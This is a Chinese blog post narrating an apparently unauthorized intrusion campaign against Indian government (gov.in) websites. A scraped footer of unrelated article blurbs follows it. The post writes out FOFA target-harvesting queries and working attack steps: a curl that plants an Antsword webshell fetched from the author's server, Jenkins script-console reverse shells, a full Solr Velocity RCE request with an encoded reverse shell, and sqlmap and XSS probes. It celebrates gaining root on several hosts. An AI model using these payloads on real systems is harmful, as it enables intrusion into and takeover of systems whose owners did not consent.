一次暴露面全开的红帽渗透测试【getshell】

2023-10-26

声明:本文仅限于技术讨论与分享,严禁用于非法途径。若读者因此作出任何危害网络安全行为后果自负,与本号及原作者无关。

0x01、信息收集阶段

==注:本次信息收集过程主要使用FOFA网络探测平台 https://fofa.info/===

一开始进行收集的时候,有点迷,直接进行了大面积的"gov.in"域名收集

host="gov.in" && country="IN"
6c446f73fae99e2ed2a481e498acdb93.jpeg

哈哈68465条数据,想想就起飞,但是有个问题来了,怎么下载到本地,高级用户的API也只能调用下载1w条数据,左思右想

5d8fbcbdd28da070f7a284c0580474d9.jpeg

试着写了个脚本看看:

import pythonfofa
import csv

filename = "IN_domain.csv"

email = 'u_mail'
key = 'u_API_KEY'
search = pythonfofa.Client(email, key)
get_data = search.search('host="gov.in" && country="IN"', size=70000)
# print(get_data)

requests = [result[1] for result in get_data['results']]
print(requests)
# 打开CSV文件并设置写入模式
with open(filename, "w", newline="") as file:
    writer = csv.writer(file)

    # 遍历请求列表
    for request in requests:
        # 在控制台打印域名
        print(request)

        # 检测域名是否包含"http://"
        if not request.startswith("http://") and not request.startswith("https://"):
            # 如果不包含,则在域名前添加"http://"
            request = "http://" + request

        # 在域名后添加斜杠"/"
        request += "/"

        # 将请求和值"1"作为一行写入CSV文件
        writer.writerow([request, 1])

是的,肯定不能跑,下断点,调试看看

9179c6afe6b8fb21768e038b1670a596.jpeg

很好确实是不能直接干7w条,换个收集思路,收集主流框架进行相应的漏扫

主流框架的相关漏洞的FOFA规则语句:

Fastjson

app="Fastjson" && host="in" && country="IN" && status_code="200" && (port="80" || port="443")

Struts2

app="Struts" && host="in" && country="IN" && status_code="200" && (port="80" || port="443")

Log4j2

(app="Log4j2" && host="in" && country="IN" && status_code="200" && (port="80" || port="443"))

其他的也都大同小异,照葫芦画瓢就行。

6172f7a9e26e81c7b9f07a9246e1725a.jpeg

目标站点收集差不多了,就是漏洞探测阶段了。

0x02、漏洞探测及利用

Struts2:

直接掏出大范围漏扫AWVS就行批量漏洞探测:

bab5ccd00b74a6f426a1d3631c40bfb0.jpeg

第一天数据就直接起飞,因为本次目标是==getshell==直接忽略中低危漏洞告警,查看高危漏洞:

f417628a3d16d05980b1c47d92d40ebb.jpeg

很好一堆==Struts2==漏洞,直接上工具:

1f1205a0c646f25aceb0b03622ad1a7c.jpeg

得到一个RCE(远程命令执行漏洞),远程写入==shell==,先利用工具生成一个==Antsword(蚁剑)jsp格式的shell==

cc5a2facf2938b18a6a6093d6391c903.jpeg

将shell放到一个公网服务器上,接着执行命令查看web路径:/var/tomcat9/pmrportal/ROOT/

f8c16b5e9dd27ebd5eb8f5de47a85953.jpeg

直接执行

curl -o /var/tomcat9/pmrportal/ROOT/shell.jsp http://u_ip/antsword.jsp

然后webshell工具Antsword连接即可:

71e7df37a9361e8be6a2b744e4bd1a3c.jpeg

爆出的该S2-045的漏洞的还有几个,getshell方式同上,不进行细述了___________________________________。

Weblogic:

ffd6949273c51bebca02659f63684b13.jpeg

很好用的awvs,直接上工具注入内存马:

909e04448287b7291bc92eac3314bafb.jpeg

冰蝎连接webshell:

7f568873970a46318155470eb4de17c6.jpeg

同类型的漏洞还有几个,getshell的方式都一致,不一一概述了》》

(PS:这个时候已经有些疲软了,没有去手测upload的点)

Jenkins:

中途其他框架没有收获的时候,就去浏览知识的海洋了,看到一个存在大量未授权+RCE的框架漏洞(Jenkins),二话不说,直接上FOFA:

(app="JENKINS" && title=="Dashboard [Jenkins]" && country="IN" && status_code="200") && (port="80" || port="443")
f40c31e1ad7fe056fb17925e901abfe9.jpeg

一看86条资产,有戏,数量不多,直接手测:

f0a357d70cd1605a464a5a9b3e9b2698.jpeg

存在未授权,访问manager --> script页面,进行命令执行测试:

println "ls -al".execute().text
ad1d1bc5e70242e743d01ef252d96a3e.jpeg

存在命令执行,尝试反弹shell:

println "bash -i >& /dev/tcp/ip/port 0<&1".execute().text

接收shell的服务器开启端口监听:

9996a0fa11556f19571e899f7ea4c814.jpeg

执行命令

a62b1b75fa11792c1e52bbc39e093624.jpeg

发现没有shell反弹过来,猜测不能在web端执行反弹shell,于是将反弹shell的命令写入.sh文件中,然后执行,进行反弹shell操作:

在sh文件中写入如下内容:

bash -i >& /dev/tcp/ip/port 0<&1

保存在开放的web端口,在jenkins服务中执行如下curl命令远程下载sh文件:

println "curl - o /tmp/jenkins.sh http://u_ip:port/jenkins.sh".execute().text
75e5649f39dfd9e592f6ebd9de52d421.jpeg

查看.sh文件是否获取成功:

println "ls -al /tmp".execute().text
f2719ce3e506cb6919301698f702533e.jpeg

获取.sh文件成功,执行文件,反弹shell:

开启监听:

9e64cb8255020e31256c814c370d684c.jpeg

执行命令,启动.sh文件:

println "bash /tmp/jenkins.sh".execute().text
ae7b19e4164fa48ccd9f500c36e9cadf.jpeg a3d6ee9ae0f6da09e4916110eabcc54b.jpeg

成功监听到谈过来的shell,又拿下一台!其他的没有存在未授权,便没有尝试。

Apache-Solr

闲着没事,打开文库看了几篇RCE复现,心血来潮,打开FOFA:

country="IN" && app="Apache-Solr" && status_code="200" && (port="443" || port="80")
cbb1a98ac33b51776275de8fcbb8d6d6.jpeg

数据不大,接着手测,拿到三个未授权(不需要登陆):

==授权==:

074c250f3ae609e0b852a80c98b43275.jpeg

==未授权==:

41401fcd8fcad5ddb238e5a5693a203d.jpeg

拿到未授权之后,进行CVE探测:

访问/solr/admin/cores/,获取name => music

6a7e25bce8d7243d335a0b70d01a9e6c.jpeg

接着拼接路径/solr/music/config/查看用户配置信息:

35524c7f6387f049354c26ff9aa79a27.jpeg

都为true,可直接利用公网披露的payload进行RCE,

GET /solr/music/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%22whoami%22))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end HTTP/1.1
Host: ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
4c076c30f02219f1f4fe18323f0e14c6.jpeg

测试是否出网:

修改执行命令为

curl%20xtolsc.dnslog.cn
8fc4c15fe22695e49cebeb718bff0fab.jpeg

可出网,直接反弹shell:

GET /solr/music/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%22bash%20-c%20%7Becho%2CYmFzaCAtaSA%2BJiAvZGV2xxxxxx8xMDEuNDMuMTM5LjI0My81MDAwIDA%2BJjE%3D%7D%7C%7Bbase64%2C-d%7D%7C%7Bbash%2C-i%7D%22))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end  HTTP/1.1
Host: ip
accept: */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

VPS开启端口监听:nc -lvvnp 5000

56393b350d2db550c36eeadc3eb4193d.jpeg

接听到弹过来的shell了,好,又拿下一台,root权限。

其他漏洞发现

反射型XSS

具体测试过程均无任何难度,无须bypass黑名单之类的,测试语句

<script>alert(1)</script>
855f6aec9a7c6a5b74d33e427b703a39.jpeg

SQL注入

这类没有具体测试,发现注入点之后直接上SQLmap开扫:

sqlmap https://******.gov.in/****/Validate.jsp --data "email=a@a.com&password=123456" --random-agent -t 10 -p password --proxy=http://127.0.0.1:7890 --dbms=mysql
9ddc079c9ab16299c65019822869f42a.jpeg

诸如其他的漏洞也有发现,但不是本次渗透的重点,便没重点去深入。

渗透总结

本次测试周期长,测试目标暴露点多,非常有趣的一次渗透实战,后期有其他事儿,就没法全身心投入,蛮可惜的。

原创稿件征集

征集原创技术文章中,欢迎投递

投稿邮箱:edu@antvsion.com

文章类型:黑客极客技术、信息安全热点安全研究分析等安全相关

通过审核并发布能收获200-800元不等的稿酬。

更多详情,点我查看!

0b2ab0add2804cb1f5e997ed6d8e17e9.gif

靶场实操,戳“阅读原文”

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

一次暴露面全开的红帽渗透测试【getshell】 的相关文章

  • java项目利用launch4j生成可执行exe文件

    一 项目结构说明 参见文章 java项目打成可运行jar包 http mp blog csdn net postedit 79194671 二 操作流程 1 右键项目 gt export gt Runnable JAR File gt Ne
  • Nginx【反向代理负载均衡动静分离】--下

    Nginx 反向代理负载均衡动静分离 下 Nginx 工作机制 参数设置 master worker 机制 示意图 图解 一个master 管理多个worker 一说master worker 机制 争抢机制示意图 图解 一个master
  • 获取时间/时间戳,并比大小

    获取当前时间戳的几种方法 1 System currentTimeMillis 2 Calendar getInstance getTimeInMillis 3 new Date getTime 注 上面的获取时间戳值都是毫秒级的 返回的都
  • 微信公众号发送模板信息报错——invalid credential, access_token is invalid or not latest hints:

    这个大部分原因是access token不正确导致的 这个access token是微信开放文档 公众号 开始开发 获取Access Token下的获取access token获取的 而不是下面的微信网页开发 网页授权中获取access t
  • 等概率抽样——水塘抽样

    等概率抽样 水塘抽样 给出一个数据流 这个数据流的长度很大或者未知 并且对该数据流中数据只能访问一次 且不能使用额外的空间 请写出一个随机选择算法 使得数据流中所有数据被选中的概率相等 从头开始遍历数据 当遍历到第n个数据时 从0到n 1中
  • 使用Wireshark与Burp Suite分析HTTPS协议

    目录 目的 内容 器材 设备 元器件 步骤 1 虚拟机服务器搭建网站 本机访问用Burp Suite抓包获取头信息 2 Wireshark和Burp Suite处理HTTPS的过程与技术实现过程原理 1 Wireshark 2 Burp S
  • Spring Cloud五大组件

    Spring Cloud五大组件 Spring Cloud是分布式微服务架构的一站式解决方案 在Spring Boot基础上能够轻松搭建微服务系统的架构 现有Spring Cloud有两代实现 一代 Spring Cloud Netflix
  • SpringBoot(一)使用itelliJ社区版创建SpringBoot项目

    工欲善其事 必先利其器 要开发SpringBoot项目 首先就是选择一款合适的开发工具 目前市面上有很多优秀的开发工具 例如 IntelliJ IDEA Visual Studio Code 和 Eclipse 等 那么我们该如何选择呢 最
  • 17 Redis缓存更新策略(缓存和数据库更新选择)

    1 先更新数据库 在更新缓存 会有异常 更新完Mysql 发生异常 redis还没有更新 导致redis的是旧数据 下次读取缓存读的是脏数据 2 先删除缓存 在更新数据库 1 缓存已经删了 mysql还在更新中 由于Mysql还在更新中 会
  • java类注释_Java注释,java类注释详解

    一个程序的可读性 关键点就在于注释 下面要给大家讲到的就是Java注释方面的知识 主要会介绍java类注释 类注释一般必须放在所有的 import 语句之后 类定义之前 主要声明该类可以做什么 以及创建者 创建日期 版本和包名等一些信息 下
  • VS2022编译调试FFmpeg

    Git 工具下载 安装直接选择好安装路径 直接下一步到安装完成 配置好工程目录 msvc为编译生成的目标文件的目录 source为源代码目录 进入source目录 通过Git下载FFmpeg git clone https github c
  • 设计模式(三)——装饰模式

    往期地址 设计模式 一 简单工厂模式 设计模式 二 策略模式 本期主题 讲解装饰模式 装饰模式 1 什么是装饰模式 2 实例 2 1 场景 2 2 代码 1 什么是装饰模式 装饰模式是一种结构型设计模式 可以把对象的特殊行为进行封装 从而为
  • ue4单选框设置

    奇怪的是 ue4只有多选框 原来合并了 Style FCoreStyle Get RadioButton 不多说了 放代码 先枚举几个 enum ERadioChoice Radio0 Radio1 Radio2 SHorizontalBo
  • steps_per_epoch=2000,epochs=100之间的区别

    第一种解释 batchsize 中文翻译为批大小 批尺寸 在深度学习中 一般采用SGD训练 即每次训练在训练集中取batchsize个样本训练 iteration 中文翻译为迭代 1个iteration等于使用batchsize个样本训练一
  • 小程序

    文章目录 新建项目并梳理项目结构 配置导航栏效果 配置 tabBar 效果 实现轮播图效果 获取轮播图数据 渲染轮播图页面效果 对轮播图进行美化 实现九宫格效果 获取九宫格数据 渲染九宫格布局 美化九宫格布局 实现图片布局 上拉触底案例 定
  • Lua判断一个对象是否为空,包含userdata

    Lua判断一个对象是否为空 客户端在开发游戏的时候 经常会遇到一个问题 C 传递过来的GameObject已经被销毁了 但是lua这边判断却不是nil 而是一个userdata 那怎么判断一个userdata是否为空呢 可以使用如下代码判断
  • SSH密码暴力破解

    SSH密码暴力破解 1 Hydra 海德拉 hydra 是世界顶级密码暴力密码破解工具 支持几乎所有协议的在线密码破解 功能强大 其密码能否被破解关键取决于破解字典是否足够强大 在网络安全渗透过程中是一款必备的测试工具 1 1指定用户破解
  • 数据结构自考

    设带头结点的单向循环链表的头指针为变量head 则空循环链表的判定条件是 head gt next head 一个具有n个顶点的无向完全图的边数为 n n 1 2 设某有向图有n个顶点 则改有向图对应的邻接表中的表头节点个数为n 若查找每个
  • 使用freemarker生成静态html文件

    一 引入依赖
  • 如何在家里赚钱,分享六个适合普通人长期可做的副业

    当今社会 压力越来越大 工作 家庭 生活等等 方方面面都需要钱 仅靠一份工作赚钱 已经很难满足我们的需求 所以越来越多的人尝试做副业 通过副业增加收入 让生活过得更幸福 常见的副业都是业余学一项技能 通过这项技能来赚钱 这是最保险的副业方式

随机推荐

  • 获取磁盘信息并扫描是否连接移动磁盘之JS版

    昨天弄了一天 扫描U盘是否连接到电脑 的功能 折腾了一天出了个java版和js版 这里记录下JS版本 先说说思路 从浏览器的地址栏打开网页之后 通过onload事件调用ActiveXObject判断U盘是否连接到电脑 若是连接了获取信息显示
  • 数论 费马小定理+快速幂取模

    D Sum Time Limit 1000MS Memory Limit 131072KB 64bit IO Format I64d I64u Submit Status Description Input 2 Output 2 Hint
  • 商用服务器性能,安全与性能兼顾的商用服务器推荐

    数据作为企业生存之本 如果没有好的商用服务器为其安全性保驾护航 企业就会变成无本之木 而在众多商用服务器推荐中 能将稳定性能 快速处理 高安全性等优点集一身的当属全球销量独占鳌头的戴尔14代PowerEdge服务器 作为现代化数据中心的基石
  • 关于“使用rand()产生的随机数每次得到的结果相同”的问题

    之前使用rand 产生随机数出现了一个怪问题 一直没能理解 初次出现的随机数数列是1111 5556 3543 6434 3245 再次运行 产生的结果仍然是1111 5556 3543 6434 3245 再运行 仍然是1111 5556
  • apt命令

    在基于 Debian 的 Linux 发行版中 有各种工具可以与 APT 进行交互 以方便用户安装 删除和管理的软件包 apt get 便是其中一款广受欢迎的命令行工具 另外一款较为流行的是 Aptitude 这一命令行与 GUI 兼顾的小
  • 利用python进行图像视觉基础练习

    练习内容为 1 对于图像进行均值滤波和中值滤波 2 对于图像的第二个波段 进行灰度图自适应均衡化 输出为单波段影像 3 对于图像的第三个波段进行阈值处理和自适应阈值处理 输出为单波段影像 4 对于图像先进行二值化 再进行两种形态学处理 开运
  • iocp之简单实现

    一 步骤 二 代码 1 头文件 include
  • 简单爬虫Ajax数据爬取——今日头条图片爬取

    一 Ajax简介 什么是Ajax Ajax 即 Asynchronous Javascript And XML 异步 JavaScript 和 XML 是指一种创建交互式网页应用的网页开发技术 通过在后台与服务器进行少量数据交换 Ajax
  • npm install 失败的解决方案

    npm install 失败的解决方案 1 展示如下 2 解决方案 1 删除package lock json的文件 2 执行以下的代码 执行npm install force 或者 npm install legacy peer deps
  • php 操作redis

    原文地址 http www cnblogs com weafer archive 2011 09 21 2184059 html PHP redis中文文档 phpredis是php的一个扩展 效率是相当高有链表排序功能 对创建内存级的模块
  • OpenCV - C++实战(01) — OpenCV简介

    目录 第1章 OpenCV简介 1 1 简介 1 1 1 OpencV 库简介 1 1 2 命名空间 1 2 OpenCV模块 1 3 装载 显示和存储图像 1 3 1 创建图像 1 3 2 读取图像 1 3 3 定义窗口与显示图像 1 3
  • 07.Spring Bean 加载 - BeanDefinitionReader

    基本概念 BeanDefinitionReader 该接口的作用就是加载 Bean 在 Spring 中 Bean 一般来说都在配置文件中定义 而在配置的路径由在 web xml 中定义 所以加载 Bean 的步骤大致就是 加载资源 通过配
  • 服务器系统reid,服务器主机做reid

    服务器主机做reid 内容精选 换一换 安装并启动Agent后 迁移Agent会自动收集源端服务器信息并发送给主机迁移服务默认迁移任务下 收集的所有信息仅用于数据迁移 不会用做其他用途 具体收集源端哪些信息可查看主机迁移服务会收集源端的哪些
  • C语言怎么判断文件是否为空

    http zhidao baidu com question 58621913 html fr qrl cid 866 index 1 fr2 query 文件为空时 只有文件结束符EOF 当读取第一个字符是EOF时即可判断文件是不是空 i
  • 【Java面试题】用float型定义变量:float = 3.14;,是否正确?

    题目 用float型定义变量 float 3 14 是否正确 解析 不正确 赋值运算符 左右两边的精度类型不匹配 在默认情况下 包括小数点的实数 如本题中的3 14 被存储为double类型 即双精度 而float类型定义的变量 如本题中的
  • 【测评】思维导图的战争!手绘和数字思维导图哪个更实用?

    思维导图是我们在工作中非常广泛运用的工具 能够有效的理清思维 并清晰的展示给他人共享 而在这之中又分为了两派 一派支持手绘思维导图 一派支持数字思维导图 究竟哪一个更好 它们之间可以平衡吗 gt gt 数字思维导图最好的体现是什么 手写和绘
  • BasicDao

    DBUtil Druid任然存在不足 如果再进行一次封装 gt BasicDao作为实现所有数据库常用的基础查询操作 1 所有数据库操作的基础类 public class BasicDao
  • 字符串补全空格是一种常见的字符串处理操作,它可以用于在字符串的两侧或者特定位置插入空格,以使字符串的长度达到指定的长度

    字符串补全空格是一种常见的字符串处理操作 它可以用于在字符串的两侧或者特定位置插入空格 以使字符串的长度达到指定的长度 在Python中 我们可以使用多种方法实现字符串的补全空格操作 下面是一些常见的方法及其示例代码 1 使用字符串的内置方
  • java中的锁(一)(Synchronized)

    JAVA中的锁 乐观锁 悲观锁 自旋锁 synchronized 原子性 可见性 有序性 可重入性 Synchronized底层原理 JAVA中的锁主要用于保障多线程中数据的一致性 在使用对象或者方法之前加锁 此时如果有其他线程也需要使用该
  • 一次暴露面全开的红帽渗透测试【getshell】

    声明 本文仅限于技术讨论与分享 严禁用于非法途径 若读者因此作出任何危害网络安全行为后果自负 与本号及原作者无关 0x01 信息收集阶段 注 本次信息收集过程主要使用FOFA网络探测平台 https fofa info 一开始进行收集的时候